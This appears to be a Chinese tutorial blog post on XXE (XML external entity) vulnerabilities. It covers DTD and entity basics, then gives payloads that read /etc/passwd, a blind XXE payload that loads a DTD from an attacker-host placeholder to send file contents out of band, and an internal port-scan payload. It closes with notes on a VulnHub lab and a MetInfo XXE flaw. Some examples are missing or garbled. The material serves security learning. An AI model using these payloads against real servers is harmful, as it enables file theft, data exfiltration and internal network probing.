DTD分为内部和外部,其中:
内部DTD声明方法:
<!DOCTYPE 根元素 [元素声明]>
外部DTD声明方法:
<!DOCTYPE 根元素 SYSTEM "文件名">
关于XML实体:实体是XML的存储单元。XML实体分为一般实体(类似于常量)和参数实体。其中一般实体分为预定义实体和自定义实体。实体的声明是放在DTD当中的,而实体最后的显示还是在XML标签当中,如下:(就相当于变量,在DTD中定义一个变量,在XML文档中使用变量)
而XML实体的声明方式有三种:
内部实体:
外部实体: (就相当于引用了一个外部变量)
参数实体:或者
三种实体声明方式使用区别:
参数实体用%实体名称申明,引用时也用%实体名称;
其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;
其余实体只能在DTD中申明,可在xml文档中引用。
对于XXE漏洞的分类:按照构造外部实体声明的方法分类
1、直接通过DTD外部实体声明
xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<a>&f;<a>
2、通过DTD文档引入外部DTD文档中的外部实体声明:
XML内容:
xml version="1.0"?>
<!DOCTYPE Quan SYSTEM "https://test.com/Quan.dtd">
<hhh>&f;<hhh>
DTD文档内容:
<!ENTITY f SYSTEM "file:///etc/passwd">
3、通过DTD外部实体声明引入外部DTD文档中的外部实体声明
XML文档:
xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "https://test.com/Quan.dtd">
]>
<hhh>&f;<hhh>
DTD的外部实体声明内容:
<!ENTITY f SYSTEM "file:///etc/passwd">
按照输出对XXE分类:
1、正常回显XXE是最传统的XXE攻击,在利用过程中服务器会直接回显信息,可直接完成XXE攻击。
2、报错XXE是回显XXE攻击的一种特例,它与正常回显XXE的不同在于它在利用过程中服务器回显的是错误信息,可根据错误信息的不同判断是否注入成功。
3、Blind XXE:当服务器没有回显,我们可以选择使用Blind XXE。与前两种XXE不同之处在于Blind XXE无回显信息,可组合利用file协议来读取文件或http协议和ftp协议来查看日志。Blind XXE主要使用了DTD约束中的参数实体和内部实体。在XML基础有提到过参数实体的定义,这里就不再做详细讲解。参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
xml version="1.0"?>
<!DOCTYPE Note[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://攻击者主机IP/Quan.xml">
%remote;
%all;
]>
<root>&send;</root>
Quan.xml
<!ENTITY % all "
">
%remote引入外部XML文件到这个 XML 中,%all检测到send实体,在 root 节点中引入 send 实体,便可实现数据转发。利用过程:第3行,存在漏洞的服务器会读出file的内容(c:/1.txt),通过Quan.xml带外通道发送给攻击者服务器上的1.php,1.php做的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。
漏洞危害:
任意文件读取:当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
系统命令执行:这种情况很少发生,但在配置不当/开发内部应用情况下(PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上),攻击者能够通过XXE执行代码。
内网探测:可根据返回信息内容判断该端口是否打开。若测试端口返回“Connection refused”则可以知道该端口是closed的,否则为open。
xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
直接通过外部实体声明触发漏洞:
通过参数实体触发漏洞:
通过DTD文档引入外部DTD文档中的外部实体声明:(失败)
下载地址:https://download.vulnhub.com/xxe/XXE.zip
端口扫描
御剑扫描目录:
Robots.txt
全局搜索simplexml_load_string,在pay.class.php,ClientResponseHandle.class.php两个类中存在。
漏洞存在点:
漏洞形成原因:通过POST传递的参数没有经过过滤存入$xml文件,然后直接通过simplexml_load_string函数解析造成XXE漏洞。
漏洞原理简单,关键是如何触发这个漏洞:
首先是member/index.php
加载app/system/entrance.php
然后通过load::module函数调用:
根据提示要传入:模块名 c l a s s 参 数 , class参数, class参数,funcname需要引用模块路径,然后根据前面的代码,再加上debug可以确认传递参数为:
http://www.metinfo.com/member/index.php?a=donotify&m=web&c=pay&n=pay
最后通过回调函数调用pay.class.php的donotify函数。
漏洞最后触发的位置:
漏洞验证:漏洞实际属于bind XXE,我们先加一个输出代码变成显错XXE。
我发现windows好像没有利用成功。。。。。。